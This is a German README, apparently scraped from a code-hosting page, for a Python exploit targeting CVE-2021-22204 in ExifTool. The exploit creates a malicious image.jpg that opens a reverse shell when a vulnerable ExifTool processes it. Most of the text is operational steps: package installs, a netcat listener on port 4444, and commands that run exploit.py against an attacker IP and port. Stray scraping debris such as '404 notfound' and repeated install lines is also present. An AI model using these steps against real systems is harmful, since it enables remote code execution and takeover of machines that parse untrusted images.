mr-tuhin/cve-2021-22204-exiftoolPython-Exploit für CVE-2021-22204 in ExifTool, das ein bösartiges Bild erzeugt, das bei der Verarbeitung durch verwundbare Versionen eine Reverse Shell auslöst.
Python-Exploit für die Schwachstelle CVE-2021-22204 in Exiftool.
404 notfound
python3 python3-pip djvulibre-bin exiftool
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
pacman -S djvulibre libimage-exiftool-perl python python-pip
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
dnf install djvulibre libimage-exiftool-perl python-minimal python-pip
brew install djvulibre exiftool python
apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip
sudo pip install -r requirements.txt
nc -nvlp 4444
chmod +x exploit.py
python3 exploit.py {Ihre IP-Adresse} {Ihr Listening-Port}
./exploit.py {Ihre IP-Adresse} {Ihr Listening-Port}
python3 exploit.py 192.168.0.1 4444
./exploit.py 192.168.0.1 4444
image.jpg
Die CVE-2021-22204 wurde von William Bowling entdeckt und gemeldet. (@wcbowling)
Dieser Exploit wurde durch das Studium des Exiftool-Patches erstellt, nachdem die CVE bereits gemeldet worden war.
Und die image.jpg löst die Schwachstelle aus, wenn sie mit einem verwundbaren Exiftool geöffnet wird.